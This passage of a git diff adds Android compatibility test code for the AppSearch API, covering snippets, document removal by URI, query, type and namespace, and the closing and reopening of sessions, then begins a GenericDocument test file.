+        documents = convertSearchResultsToDocuments(searchResults);
+        assertThat(documents).hasSize(1);
+        assertThat(documents).containsExactly(inEmail2);
+    }
+
+    @Test
+    public void testSnippet() throws Exception {
+        // Schema registration
+        // TODO(tytytyww) add property for long and  double.
+        AppSearchSchema genericSchema =
+                new AppSearchSchema.Builder("Generic")
+                        .addProperty(
+                                new PropertyConfig.Builder("subject")
+                                        .setDataType(PropertyConfig.DATA_TYPE_STRING)
+                                        .setCardinality(PropertyConfig.CARDINALITY_OPTIONAL)
+                                        .setTokenizerType(PropertyConfig.TOKENIZER_TYPE_PLAIN)
+                                        .setIndexingType(PropertyConfig.INDEXING_TYPE_PREFIXES)
+                                        .build())
+                        .build();
+        mDb1.setSchema(new SetSchemaRequest.Builder().addSchema(genericSchema).build()).get();
+
+        // Index a document
+        GenericDocument document =
+                new GenericDocument.Builder<>("uri", "Generic")
+                        .setNamespace("document")
+                        .setPropertyString(
+                                "subject",
+                                "A commonly used fake word is foo. "
+                                        + "Another nonsense word that’s used a lot is bar")
+                        .build();
+        checkIsBatchResultSuccess(
+                mDb1.putDocuments(
+                        new PutDocumentsRequest.Builder().addGenericDocument(document).build()));
+
+        // Query for the document
+        SearchResultsShim searchResults =
+                mDb1.query(
+                        "foo",
+                        new SearchSpec.Builder()
+                                .addSchemaType("Generic")
+                                .setSnippetCount(1)
+                                .setSnippetCountPerProperty(1)
+                                .setMaxSnippetSize(10)
+                                .setTermMatch(SearchSpec.TERM_MATCH_PREFIX)
+                                .build());
+        List<SearchResult> results = searchResults.getNextPage().get();
+        assertThat(results).hasSize(1);
+
+        List<SearchResult.MatchInfo> matchInfos = results.get(0).getMatches();
+        assertThat(matchInfos).isNotNull();
+        assertThat(matchInfos).hasSize(1);
+        SearchResult.MatchInfo matchInfo = matchInfos.get(0);
+        assertThat(matchInfo.getFullText())
+                .isEqualTo(
+                        "A commonly used fake word is foo. "
+                                + "Another nonsense word that’s used a lot is bar");
+        assertThat(matchInfo.getExactMatchPosition())
+                .isEqualTo(new SearchResult.MatchRange(/*lower=*/ 29, /*upper=*/ 32));
+        assertThat(matchInfo.getExactMatch()).isEqualTo("foo");
+        assertThat(matchInfo.getSnippetPosition())
+                .isEqualTo(new SearchResult.MatchRange(/*lower=*/ 26, /*upper=*/ 33));
+        assertThat(matchInfo.getSnippet()).isEqualTo("is foo.");
+    }
+
+    @Test
+    public void testRemove() throws Exception {
+        // Schema registration
+        mDb1.setSchema(new SetSchemaRequest.Builder().addSchema(AppSearchEmail.SCHEMA).build())
+                .get();
+
+        // Index documents
+        AppSearchEmail email1 =
+                new AppSearchEmail.Builder("uri1")
+                        .setFrom("from@example.com")
+                        .setTo("to1@example.com", "to2@example.com")
+                        .setSubject("testPut example")
+                        .setBody("This is the body of the testPut email")
+                        .build();
+        AppSearchEmail email2 =
+                new AppSearchEmail.Builder("uri2")
+                        .setFrom("from@example.com")
+                        .setTo("to1@example.com", "to2@example.com")
+                        .setSubject("testPut example 2")
+                        .setBody("This is the body of the testPut second email")
+                        .build();
+        checkIsBatchResultSuccess(
+                mDb1.putDocuments(
+                        new PutDocumentsRequest.Builder()
+                                .addGenericDocument(email1, email2)
+                                .build()));
+
+        // Check the presence of the documents
+        assertThat(doGet(mDb1, GenericDocument.DEFAULT_NAMESPACE, "uri1")).hasSize(1);
+        assertThat(doGet(mDb1, GenericDocument.DEFAULT_NAMESPACE, "uri2")).hasSize(1);
+
+        // Delete the document
+        checkIsBatchResultSuccess(
+                mDb1.removeByUri(new RemoveByUriRequest.Builder().addUri("uri1").build()));
+
+        // Make sure it's really gone
+        AppSearchBatchResult<String, GenericDocument> getResult =
+                mDb1.getByUri(new GetByUriRequest.Builder().addUri("uri1", "uri2").build()).get();
+        assertThat(getResult.isSuccess()).isFalse();
+        assertThat(getResult.getFailures().get("uri1").getResultCode())
+                .isEqualTo(AppSearchResult.RESULT_NOT_FOUND);
+        assertThat(getResult.getSuccesses().get("uri2")).isEqualTo(email2);
+
+        // Test if we delete a nonexistent URI.
+        AppSearchBatchResult<String, Void> deleteResult =
+                mDb1.removeByUri(new RemoveByUriRequest.Builder().addUri("uri1").build()).get();
+
+        assertThat(deleteResult.getFailures().get("uri1").getResultCode())
+                .isEqualTo(AppSearchResult.RESULT_NOT_FOUND);
+    }
+
+    @Test
+    public void testRemoveByQuery() throws Exception {
+        // Schema registration
+        mDb1.setSchema(new SetSchemaRequest.Builder().addSchema(AppSearchEmail.SCHEMA).build())
+                .get();
+
+        // Index documents
+        AppSearchEmail email1 =
+                new AppSearchEmail.Builder("uri1")
+                        .setFrom("from@example.com")
+                        .setTo("to1@example.com", "to2@example.com")
+                        .setSubject("foo")
+                        .setBody("This is the body of the testPut email")
+                        .build();
+        AppSearchEmail email2 =
+                new AppSearchEmail.Builder("uri2")
+                        .setFrom("from@example.com")
+                        .setTo("to1@example.com", "to2@example.com")
+                        .setSubject("bar")
+                        .setBody("This is the body of the testPut second email")
+                        .build();
+        checkIsBatchResultSuccess(
+                mDb1.putDocuments(
+                        new PutDocumentsRequest.Builder()
+                                .addGenericDocument(email1, email2)
+                                .build()));
+
+        // Check the presence of the documents
+        assertThat(doGet(mDb1, GenericDocument.DEFAULT_NAMESPACE, "uri1")).hasSize(1);
+        assertThat(doGet(mDb1, GenericDocument.DEFAULT_NAMESPACE, "uri2")).hasSize(1);
+
+        // Delete the email 1 by query "foo"
+        mDb1.removeByQuery(
+                        "foo",
+                        new SearchSpec.Builder().setTermMatch(SearchSpec.TERM_MATCH_PREFIX).build())
+                .get();
+        AppSearchBatchResult<String, GenericDocument> getResult =
+                mDb1.getByUri(new GetByUriRequest.Builder().addUri("uri1", "uri2").build()).get();
+        assertThat(getResult.isSuccess()).isFalse();
+        assertThat(getResult.getFailures().get("uri1").getResultCode())
+                .isEqualTo(AppSearchResult.RESULT_NOT_FOUND);
+        assertThat(getResult.getSuccesses().get("uri2")).isEqualTo(email2);
+
+        // Delete the email 2 by query "bar"
+        mDb1.removeByQuery(
+                        "bar",
+                        new SearchSpec.Builder().setTermMatch(SearchSpec.TERM_MATCH_PREFIX).build())
+                .get();
+        getResult = mDb1.getByUri(new GetByUriRequest.Builder().addUri("uri2").build()).get();
+        assertThat(getResult.isSuccess()).isFalse();
+        assertThat(getResult.getFailures().get("uri2").getResultCode())
+                .isEqualTo(AppSearchResult.RESULT_NOT_FOUND);
+    }
+
+    @Test
+    public void testRemoveByQuery_packageFilter() throws Exception {
+        // Schema registration
+        mDb1.setSchema(new SetSchemaRequest.Builder().addSchema(AppSearchEmail.SCHEMA).build())
+                .get();
+
+        // Index documents
+        AppSearchEmail email =
+                new AppSearchEmail.Builder("uri1")
+                        .setFrom("from@example.com")
+                        .setTo("to1@example.com", "to2@example.com")
+                        .setSubject("foo")
+                        .setBody("This is the body of the testPut email")
+                        .build();
+        checkIsBatchResultSuccess(
+                mDb1.putDocuments(
+                        new PutDocumentsRequest.Builder().addGenericDocument(email).build()));
+
+        // Check the presence of the documents
+        assertThat(doGet(mDb1, GenericDocument.DEFAULT_NAMESPACE, "uri1")).hasSize(1);
+
+        // Try to delete email with query "foo", but restricted to a different package name.
+        // Won't work and email will still exist.
+        mDb1.removeByQuery(
+                        "foo",
+                        new SearchSpec.Builder()
+                                .setTermMatch(SearchSpec.TERM_MATCH_PREFIX)
+                                .addFilterPackageNames("some.other.package")
+                                .build())
+                .get();
+        assertThat(doGet(mDb1, GenericDocument.DEFAULT_NAMESPACE, "uri1")).hasSize(1);
+
+        // Delete the email by query "foo", restricted to the correct package this time.
+        mDb1.removeByQuery(
+                        "foo",
+                        new SearchSpec.Builder()
+                                .setTermMatch(SearchSpec.TERM_MATCH_PREFIX)
+                                .addFilterPackageNames(
+                                        ApplicationProvider.getApplicationContext()
+                                                .getPackageName())
+                                .build())
+                .get();
+        AppSearchBatchResult<String, GenericDocument> getResult =
+                mDb1.getByUri(new GetByUriRequest.Builder().addUri("uri1", "uri2").build()).get();
+        assertThat(getResult.isSuccess()).isFalse();
+        assertThat(getResult.getFailures().get("uri1").getResultCode())
+                .isEqualTo(AppSearchResult.RESULT_NOT_FOUND);
+    }
+
+    @Test
+    public void testRemove_twoInstances() throws Exception {
+        // Schema registration
+        mDb1.setSchema(new SetSchemaRequest.Builder().addSchema(AppSearchEmail.SCHEMA).build())
+                .get();
+
+        // Index documents
+        AppSearchEmail email1 =
+                new AppSearchEmail.Builder("uri1")
+                        .setFrom("from@example.com")
+                        .setTo("to1@example.com", "to2@example.com")
+                        .setSubject("testPut example")
+                        .setBody("This is the body of the testPut email")
+                        .build();
+        checkIsBatchResultSuccess(
+                mDb1.putDocuments(
+                        new PutDocumentsRequest.Builder().addGenericDocument(email1).build()));
+
+        // Check the presence of the documents
+        assertThat(doGet(mDb1, GenericDocument.DEFAULT_NAMESPACE, "uri1")).hasSize(1);
+
+        // Can't delete in the other instance.
+        AppSearchBatchResult<String, Void> deleteResult =
+                mDb2.removeByUri(new RemoveByUriRequest.Builder().addUri("uri1").build()).get();
+        assertThat(deleteResult.getFailures().get("uri1").getResultCode())
+                .isEqualTo(AppSearchResult.RESULT_NOT_FOUND);
+        assertThat(doGet(mDb1, GenericDocument.DEFAULT_NAMESPACE, "uri1")).hasSize(1);
+
+        // Delete the document
+        checkIsBatchResultSuccess(
+                mDb1.removeByUri(new RemoveByUriRequest.Builder().addUri("uri1").build()));
+
+        // Make sure it's really gone
+        AppSearchBatchResult<String, GenericDocument> getResult =
+                mDb1.getByUri(new GetByUriRequest.Builder().addUri("uri1").build()).get();
+        assertThat(getResult.isSuccess()).isFalse();
+        assertThat(getResult.getFailures().get("uri1").getResultCode())
+                .isEqualTo(AppSearchResult.RESULT_NOT_FOUND);
+
+        // Test if we delete a nonexistent URI.
+        deleteResult =
+                mDb1.removeByUri(new RemoveByUriRequest.Builder().addUri("uri1").build()).get();
+        assertThat(deleteResult.getFailures().get("uri1").getResultCode())
+                .isEqualTo(AppSearchResult.RESULT_NOT_FOUND);
+    }
+
+    @Test
+    public void testRemoveByTypes() throws Exception {
+        // Schema registration
+        AppSearchSchema genericSchema = new AppSearchSchema.Builder("Generic").build();
+        mDb1.setSchema(
+                        new SetSchemaRequest.Builder()
+                                .addSchema(AppSearchEmail.SCHEMA)
+                                .addSchema(genericSchema)
+                                .build())
+                .get();
+
+        // Index documents
+        AppSearchEmail email1 =
+                new AppSearchEmail.Builder("uri1")
+                        .setFrom("from@example.com")
+                        .setTo("to1@example.com", "to2@example.com")
+                        .setSubject("testPut example")
+                        .setBody("This is the body of the testPut email")
+                        .build();
+        AppSearchEmail email2 =
+                new AppSearchEmail.Builder("uri2")
+                        .setFrom("from@example.com")
+                        .setTo("to1@example.com", "to2@example.com")
+                        .setSubject("testPut example 2")
+                        .setBody("This is the body of the testPut second email")
+                        .build();
+        GenericDocument document1 = new GenericDocument.Builder<>("uri3", "Generic").build();
+        checkIsBatchResultSuccess(
+                mDb1.putDocuments(
+                        new PutDocumentsRequest.Builder()
+                                .addGenericDocument(email1, email2, document1)
+                                .build()));
+
+        // Check the presence of the documents
+        assertThat(doGet(mDb1, GenericDocument.DEFAULT_NAMESPACE, "uri1", "uri2", "uri3"))
+                .hasSize(3);
+
+        // Delete the email type
+        mDb1.removeByQuery(
+                        "",
+                        new SearchSpec.Builder()
+                                .setTermMatch(SearchSpec.TERM_MATCH_PREFIX)
+                                .addSchemaType(AppSearchEmail.SCHEMA_TYPE)
+                                .build())
+                .get();
+
+        // Make sure it's really gone
+        AppSearchBatchResult<String, GenericDocument> getResult =
+                mDb1.getByUri(new GetByUriRequest.Builder().addUri("uri1", "uri2", "uri3").build())
+                        .get();
+        assertThat(getResult.isSuccess()).isFalse();
+        assertThat(getResult.getFailures().get("uri1").getResultCode())
+                .isEqualTo(AppSearchResult.RESULT_NOT_FOUND);
+        assertThat(getResult.getFailures().get("uri2").getResultCode())
+                .isEqualTo(AppSearchResult.RESULT_NOT_FOUND);
+        assertThat(getResult.getSuccesses().get("uri3")).isEqualTo(document1);
+    }
+
+    @Test
+    public void testRemoveByTypes_twoInstances() throws Exception {
+        // Schema registration
+        mDb1.setSchema(new SetSchemaRequest.Builder().addSchema(AppSearchEmail.SCHEMA).build())
+                .get();
+        mDb2.setSchema(new SetSchemaRequest.Builder().addSchema(AppSearchEmail.SCHEMA).build())
+                .get();
+
+        // Index documents
+        AppSearchEmail email1 =
+                new AppSearchEmail.Builder("uri1")
+                        .setFrom("from@example.com")
+                        .setTo("to1@example.com", "to2@example.com")
+                        .setSubject("testPut example")
+                        .setBody("This is the body of the testPut email")
+                        .build();
+        AppSearchEmail email2 =
+                new AppSearchEmail.Builder("uri2")
+                        .setFrom("from@example.com")
+                        .setTo("to1@example.com", "to2@example.com")
+                        .setSubject("testPut example 2")
+                        .setBody("This is the body of the testPut second email")
+                        .build();
+        checkIsBatchResultSuccess(
+                mDb1.putDocuments(
+                        new PutDocumentsRequest.Builder().addGenericDocument(email1).build()));
+        checkIsBatchResultSuccess(
+                mDb2.putDocuments(
+                        new PutDocumentsRequest.Builder().addGenericDocument(email2).build()));
+
+        // Check the presence of the documents
+        assertThat(doGet(mDb1, GenericDocument.DEFAULT_NAMESPACE, "uri1")).hasSize(1);
+        assertThat(doGet(mDb2, GenericDocument.DEFAULT_NAMESPACE, "uri2")).hasSize(1);
+
+        // Delete the email type in instance 1
+        mDb1.removeByQuery(
+                        "",
+                        new SearchSpec.Builder()
+                                .setTermMatch(SearchSpec.TERM_MATCH_PREFIX)
+                                .addSchemaType(AppSearchEmail.SCHEMA_TYPE)
+                                .build())
+                .get();
+
+        // Make sure it's really gone in instance 1
+        AppSearchBatchResult<String, GenericDocument> getResult =
+                mDb1.getByUri(new GetByUriRequest.Builder().addUri("uri1").build()).get();
+        assertThat(getResult.isSuccess()).isFalse();
+        assertThat(getResult.getFailures().get("uri1").getResultCode())
+                .isEqualTo(AppSearchResult.RESULT_NOT_FOUND);
+
+        // Make sure it's still in instance 2.
+        getResult = mDb2.getByUri(new GetByUriRequest.Builder().addUri("uri2").build()).get();
+        assertThat(getResult.isSuccess()).isTrue();
+        assertThat(getResult.getSuccesses().get("uri2")).isEqualTo(email2);
+    }
+
+    @Test
+    public void testRemoveByNamespace() throws Exception {
+        // Schema registration
+        AppSearchSchema genericSchema =
+                new AppSearchSchema.Builder("Generic")
+                        .addProperty(
+                                new PropertyConfig.Builder("foo")
+                                        .setDataType(PropertyConfig.DATA_TYPE_STRING)
+                                        .setCardinality(PropertyConfig.CARDINALITY_OPTIONAL)
+                                        .setTokenizerType(PropertyConfig.TOKENIZER_TYPE_PLAIN)
+                                        .setIndexingType(PropertyConfig.INDEXING_TYPE_PREFIXES)
+                                        .build())
+                        .build();
+        mDb1.setSchema(
+                        new SetSchemaRequest.Builder()
+                                .addSchema(AppSearchEmail.SCHEMA)
+                                .addSchema(genericSchema)
+                                .build())
+                .get();
+
+        // Index documents
+        AppSearchEmail email1 =
+                new AppSearchEmail.Builder("uri1")
+                        .setNamespace("email")
+                        .setFrom("from@example.com")
+                        .setTo("to1@example.com", "to2@example.com")
+                        .setSubject("testPut example")
+                        .setBody("This is the body of the testPut email")
+                        .build();
+        AppSearchEmail email2 =
+                new AppSearchEmail.Builder("uri2")
+                        .setNamespace("email")
+                        .setFrom("from@example.com")
+                        .setTo("to1@example.com", "to2@example.com")
+                        .setSubject("testPut example 2")
+                        .setBody("This is the body of the testPut second email")
+                        .build();
+        GenericDocument document1 =
+                new GenericDocument.Builder<>("uri3", "Generic")
+                        .setNamespace("document")
+                        .setPropertyString("foo", "bar")
+                        .build();
+        checkIsBatchResultSuccess(
+                mDb1.putDocuments(
+                        new PutDocumentsRequest.Builder()
+                                .addGenericDocument(email1, email2, document1)
+                                .build()));
+
+        // Check the presence of the documents
+        assertThat(doGet(mDb1, /*namespace=*/ "email", "uri1", "uri2")).hasSize(2);
+        assertThat(doGet(mDb1, /*namespace=*/ "document", "uri3")).hasSize(1);
+
+        // Delete the email namespace
+        mDb1.removeByQuery(
+                        "",
+                        new SearchSpec.Builder()
+                                .setTermMatch(SearchSpec.TERM_MATCH_PREFIX)
+                                .addNamespace("email")
+                                .build())
+                .get();
+
+        // Make sure it's really gone
+        AppSearchBatchResult<String, GenericDocument> getResult =
+                mDb1.getByUri(
+                                new GetByUriRequest.Builder()
+                                        .setNamespace("email")
+                                        .addUri("uri1", "uri2")
+                                        .build())
+                        .get();
+        assertThat(getResult.isSuccess()).isFalse();
+        assertThat(getResult.getFailures().get("uri1").getResultCode())
+                .isEqualTo(AppSearchResult.RESULT_NOT_FOUND);
+        assertThat(getResult.getFailures().get("uri2").getResultCode())
+                .isEqualTo(AppSearchResult.RESULT_NOT_FOUND);
+        getResult =
+                mDb1.getByUri(
+                                new GetByUriRequest.Builder()
+                                        .setNamespace("document")
+                                        .addUri("uri3")
+                                        .build())
+                        .get();
+        assertThat(getResult.isSuccess()).isTrue();
+        assertThat(getResult.getSuccesses().get("uri3")).isEqualTo(document1);
+    }
+
+    @Test
+    public void testRemoveByNamespaces_twoInstances() throws Exception {
+        // Schema registration
+        mDb1.setSchema(new SetSchemaRequest.Builder().addSchema(AppSearchEmail.SCHEMA).build())
+                .get();
+        mDb2.setSchema(new SetSchemaRequest.Builder().addSchema(AppSearchEmail.SCHEMA).build())
+                .get();
+
+        // Index documents
+        AppSearchEmail email1 =
+                new AppSearchEmail.Builder("uri1")
+                        .setNamespace("email")
+                        .setFrom("from@example.com")
+                        .setTo("to1@example.com", "to2@example.com")
+                        .setSubject("testPut example")
+                        .setBody("This is the body of the testPut email")
+                        .build();
+        AppSearchEmail email2 =
+                new AppSearchEmail.Builder("uri2")
+                        .setNamespace("email")
+                        .setFrom("from@example.com")
+                        .setTo("to1@example.com", "to2@example.com")
+                        .setSubject("testPut example 2")
+                        .setBody("This is the body of the testPut second email")
+                        .build();
+        checkIsBatchResultSuccess(
+                mDb1.putDocuments(
+                        new PutDocumentsRequest.Builder().addGenericDocument(email1).build()));
+        checkIsBatchResultSuccess(
+                mDb2.putDocuments(
+                        new PutDocumentsRequest.Builder().addGenericDocument(email2).build()));
+
+        // Check the presence of the documents
+        assertThat(doGet(mDb1, /*namespace=*/ "email", "uri1")).hasSize(1);
+        assertThat(doGet(mDb2, /*namespace=*/ "email", "uri2")).hasSize(1);
+
+        // Delete the email namespace in instance 1
+        mDb1.removeByQuery(
+                        "",
+                        new SearchSpec.Builder()
+                                .setTermMatch(SearchSpec.TERM_MATCH_PREFIX)
+                                .addNamespace("email")
+                                .build())
+                .get();
+
+        // Make sure it's really gone in instance 1
+        AppSearchBatchResult<String, GenericDocument> getResult =
+                mDb1.getByUri(
+                                new GetByUriRequest.Builder()
+                                        .setNamespace("email")
+                                        .addUri("uri1")
+                                        .build())
+                        .get();
+        assertThat(getResult.isSuccess()).isFalse();
+        assertThat(getResult.getFailures().get("uri1").getResultCode())
+                .isEqualTo(AppSearchResult.RESULT_NOT_FOUND);
+
+        // Make sure it's still in instance 2.
+        getResult =
+                mDb2.getByUri(
+                                new GetByUriRequest.Builder()
+                                        .setNamespace("email")
+                                        .addUri("uri2")
+                                        .build())
+                        .get();
+        assertThat(getResult.isSuccess()).isTrue();
+        assertThat(getResult.getSuccesses().get("uri2")).isEqualTo(email2);
+    }
+
+    @Test
+    public void testRemoveAll_twoInstances() throws Exception {
+        // Schema registration
+        mDb1.setSchema(new SetSchemaRequest.Builder().addSchema(AppSearchEmail.SCHEMA).build())
+                .get();
+        mDb2.setSchema(new SetSchemaRequest.Builder().addSchema(AppSearchEmail.SCHEMA).build())
+                .get();
+
+        // Index documents
+        AppSearchEmail email1 =
+                new AppSearchEmail.Builder("uri1")
+                        .setFrom("from@example.com")
+                        .setTo("to1@example.com", "to2@example.com")
+                        .setSubject("testPut example")
+                        .setBody("This is the body of the testPut email")
+                        .build();
+        AppSearchEmail email2 =
+                new AppSearchEmail.Builder("uri2")
+                        .setFrom("from@example.com")
+                        .setTo("to1@example.com", "to2@example.com")
+                        .setSubject("testPut example 2")
+                        .setBody("This is the body of the testPut second email")
+                        .build();
+        checkIsBatchResultSuccess(
+                mDb1.putDocuments(
+                        new PutDocumentsRequest.Builder().addGenericDocument(email1).build()));
+        checkIsBatchResultSuccess(
+                mDb2.putDocuments(
+                        new PutDocumentsRequest.Builder().addGenericDocument(email2).build()));
+
+        // Check the presence of the documents
+        assertThat(doGet(mDb1, GenericDocument.DEFAULT_NAMESPACE, "uri1")).hasSize(1);
+        assertThat(doGet(mDb2, GenericDocument.DEFAULT_NAMESPACE, "uri2")).hasSize(1);
+
+        // Delete the all document in instance 1
+        mDb1.removeByQuery(
+                        "",
+                        new SearchSpec.Builder().setTermMatch(SearchSpec.TERM_MATCH_PREFIX).build())
+                .get();
+
+        // Make sure it's really gone in instance 1
+        AppSearchBatchResult<String, GenericDocument> getResult =
+                mDb1.getByUri(new GetByUriRequest.Builder().addUri("uri1").build()).get();
+        assertThat(getResult.isSuccess()).isFalse();
+        assertThat(getResult.getFailures().get("uri1").getResultCode())
+                .isEqualTo(AppSearchResult.RESULT_NOT_FOUND);
+
+        // Make sure it's still in instance 2.
+        getResult = mDb2.getByUri(new GetByUriRequest.Builder().addUri("uri2").build()).get();
+        assertThat(getResult.isSuccess()).isTrue();
+        assertThat(getResult.getSuccesses().get("uri2")).isEqualTo(email2);
+    }
+
+    @Test
+    public void testRemoveAll_termMatchType() throws Exception {
+        // Schema registration
+        mDb1.setSchema(new SetSchemaRequest.Builder().addSchema(AppSearchEmail.SCHEMA).build())
+                .get();
+        mDb2.setSchema(new SetSchemaRequest.Builder().addSchema(AppSearchEmail.SCHEMA).build())
+                .get();
+
+        // Index documents
+        AppSearchEmail email1 =
+                new AppSearchEmail.Builder("uri1")
+                        .setFrom("from@example.com")
+                        .setTo("to1@example.com", "to2@example.com")
+                        .setSubject("testPut example")
+                        .setBody("This is the body of the testPut email")
+                        .build();
+        AppSearchEmail email2 =
+                new AppSearchEmail.Builder("uri2")
+                        .setFrom("from@example.com")
+                        .setTo("to1@example.com", "to2@example.com")
+                        .setSubject("testPut example 2")
+                        .setBody("This is the body of the testPut second email")
+                        .build();
+        AppSearchEmail email3 =
+                new AppSearchEmail.Builder("uri3")
+                        .setFrom("from@example.com")
+                        .setTo("to1@example.com", "to2@example.com")
+                        .setSubject("testPut example 3")
+                        .setBody("This is the body of the testPut second email")
+                        .build();
+        AppSearchEmail email4 =
+                new AppSearchEmail.Builder("uri4")
+                        .setFrom("from@example.com")
+                        .setTo("to1@example.com", "to2@example.com")
+                        .setSubject("testPut example 4")
+                        .setBody("This is the body of the testPut second email")
+                        .build();
+        checkIsBatchResultSuccess(
+                mDb1.putDocuments(
+                        new PutDocumentsRequest.Builder()
+                                .addGenericDocument(email1, email2)
+                                .build()));
+        checkIsBatchResultSuccess(
+                mDb2.putDocuments(
+                        new PutDocumentsRequest.Builder()
+                                .addGenericDocument(email3, email4)
+                                .build()));
+
+        // Check the presence of the documents
+        SearchResultsShim searchResults =
+                mDb1.query(
+                        "",
+                        new SearchSpec.Builder()
+                                .setTermMatch(SearchSpec.TERM_MATCH_EXACT_ONLY)
+                                .build());
+        List<GenericDocument> documents = convertSearchResultsToDocuments(searchResults);
+        assertThat(documents).hasSize(2);
+        searchResults =
+                mDb2.query(
+                        "",
+                        new SearchSpec.Builder()
+                                .setTermMatch(SearchSpec.TERM_MATCH_EXACT_ONLY)
+                                .build());
+        documents = convertSearchResultsToDocuments(searchResults);
+        assertThat(documents).hasSize(2);
+
+        // Delete the all document in instance 1 with TERM_MATCH_PREFIX
+        mDb1.removeByQuery(
+                        "",
+                        new SearchSpec.Builder().setTermMatch(SearchSpec.TERM_MATCH_PREFIX).build())
+                .get();
+        searchResults =
+                mDb1.query(
+                        "",
+                        new SearchSpec.Builder()
+                                .setTermMatch(SearchSpec.TERM_MATCH_EXACT_ONLY)
+                                .build());
+        documents = convertSearchResultsToDocuments(searchResults);
+        assertThat(documents).isEmpty();
+
+        // Delete the all document in instance 2 with TERM_MATCH_EXACT_ONLY
+        mDb2.removeByQuery(
+                        "",
+                        new SearchSpec.Builder()
+                                .setTermMatch(SearchSpec.TERM_MATCH_EXACT_ONLY)
+                                .build())
+                .get();
+        searchResults =
+                mDb2.query(
+                        "",
+                        new SearchSpec.Builder()
+                                .setTermMatch(SearchSpec.TERM_MATCH_EXACT_ONLY)
+                                .build());
+        documents = convertSearchResultsToDocuments(searchResults);
+        assertThat(documents).isEmpty();
+    }
+
+    @Test
+    public void testRemoveAllAfterEmpty() throws Exception {
+        // Schema registration
+        mDb1.setSchema(new SetSchemaRequest.Builder().addSchema(AppSearchEmail.SCHEMA).build())
+                .get();
+
+        // Index documents
+        AppSearchEmail email1 =
+                new AppSearchEmail.Builder("uri1")
+                        .setNamespace("namespace")
+                        .setFrom("from@example.com")
+                        .setTo("to1@example.com", "to2@example.com")
+                        .setSubject("testPut example")
+                        .setBody("This is the body of the testPut email")
+                        .build();
+        checkIsBatchResultSuccess(
+                mDb1.putDocuments(
+                        new PutDocumentsRequest.Builder().addGenericDocument(email1).build()));
+
+        // Check the presence of the documents
+        assertThat(doGet(mDb1, "namespace", "uri1")).hasSize(1);
+
+        // Remove the document
+        checkIsBatchResultSuccess(
+                mDb1.removeByUri(
+                        new RemoveByUriRequest.Builder()
+                                .setNamespace("namespace")
+                                .addUri("uri1")
+                                .build()));
+
+        // Make sure it's really gone
+        AppSearchBatchResult<String, GenericDocument> getResult =
+                mDb1.getByUri(new GetByUriRequest.Builder().addUri("uri1").build()).get();
+        assertThat(getResult.isSuccess()).isFalse();
+        assertThat(getResult.getFailures().get("uri1").getResultCode())
+                .isEqualTo(AppSearchResult.RESULT_NOT_FOUND);
+
+        // Delete the all documents
+        mDb1.removeByQuery(
+                        "",
+                        new SearchSpec.Builder().setTermMatch(SearchSpec.TERM_MATCH_PREFIX).build())
+                .get();
+
+        // Make sure it's still gone
+        getResult = mDb1.getByUri(new GetByUriRequest.Builder().addUri("uri1").build()).get();
+        assertThat(getResult.isSuccess()).isFalse();
+        assertThat(getResult.getFailures().get("uri1").getResultCode())
+                .isEqualTo(AppSearchResult.RESULT_NOT_FOUND);
+    }
+
+    @Test
+    public void testCloseAndReopen() throws Exception {
+        // Schema registration
+        mDb1.setSchema(new SetSchemaRequest.Builder().addSchema(AppSearchEmail.SCHEMA).build());
+
+        // Index a document
+        AppSearchEmail inEmail =
+                new AppSearchEmail.Builder("uri1")
+                        .setFrom("from@example.com")
+                        .setTo("to1@example.com", "to2@example.com")
+                        .setSubject("testPut example")
+                        .setBody("This is the body of the testPut email")
+                        .build();
+        checkIsBatchResultSuccess(
+                mDb1.putDocuments(
+                        new PutDocumentsRequest.Builder().addGenericDocument(inEmail).build()));
+
+        // close and re-open the appSearchSession
+        mDb1.close();
+        mDb1 = createSearchSession(DB_NAME_1).get();
+
+        // Query for the document
+        SearchResultsShim searchResults =
+                mDb1.query(
+                        "body",
+                        new SearchSpec.Builder()
+                                .setTermMatch(SearchSpec.TERM_MATCH_EXACT_ONLY)
+                                .build());
+        List<GenericDocument> documents = convertSearchResultsToDocuments(searchResults);
+        assertThat(documents).containsExactly(inEmail);
+    }
+
+    @Test
+    public void testCallAfterClose() throws Exception {
+
+        // Create a same-thread database by inject an executor which could help us maintain the
+        // execution order of those async tasks.
+        Context context = ApplicationProvider.getApplicationContext();
+        AppSearchSessionShim sameThreadDb =
+                createSearchSession("sameThreadDb", MoreExecutors.newDirectExecutorService()).get();
+
+        try {
+            // Schema registration -- just mutate something
+            sameThreadDb
+                    .setSchema(
+                            new SetSchemaRequest.Builder().addSchema(AppSearchEmail.SCHEMA).build())
+                    .get();
+
+            // Close the database. No further call will be allowed.
+            sameThreadDb.close();
+
+            // Try to query the closed database
+            // We are using the same-thread db here to make sure it has been closed.
+            IllegalStateException e =
+                    expectThrows(
+                            IllegalStateException.class,
+                            () ->
+                                    sameThreadDb.query(
+                                            "query",
+                                            new SearchSpec.Builder()
+                                                    .setTermMatch(SearchSpec.TERM_MATCH_EXACT_ONLY)
+                                                    .build()));
+            assertThat(e).hasMessageThat().contains("AppSearchSession has already been closed");
+        } finally {
+            // To clean the data that has been added in the test, need to re-open the session and
+            // set an empty schema.
+            AppSearchSessionShim reopen =
+                    createSearchSession("sameThreadDb", MoreExecutors.newDirectExecutorService())
+                            .get();
+            reopen.setSchema(new SetSchemaRequest.Builder().setForceOverride(true).build()).get();
+        }
+    }
+}
diff --git a/tests/appsearch/src/com/android/cts/appsearch/external/GenericDocumentCtsTest.java b/tests/appsearch/src/com/android/cts/appsearch/external/GenericDocumentCtsTest.java
new file mode 100644
index 0000000..657d556
--- /dev/null
+++ b/tests/appsearch/src/com/android/cts/appsearch/external/GenericDocumentCtsTest.java
@@ -0,0 +1,286 @@
+/*
+ * Copyright 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.app.appsearch.cts;
+
+import static com.google.common.truth.Truth.assertThat;
+
+import static org.testng.Assert.expectThrows;
+
+import android.app.appsearch.GenericDocument;
+
+import org.junit.Test;
+
+public class GenericDocumentCtsTest {
+    private static final byte[] sByteArray1 = new byte[] {(byte) 1, (byte) 2, (byte) 3};
+    private static final byte[] sByteArray2 = new byte[] {(byte) 4, (byte) 5, (byte) 6, (byte) 7};
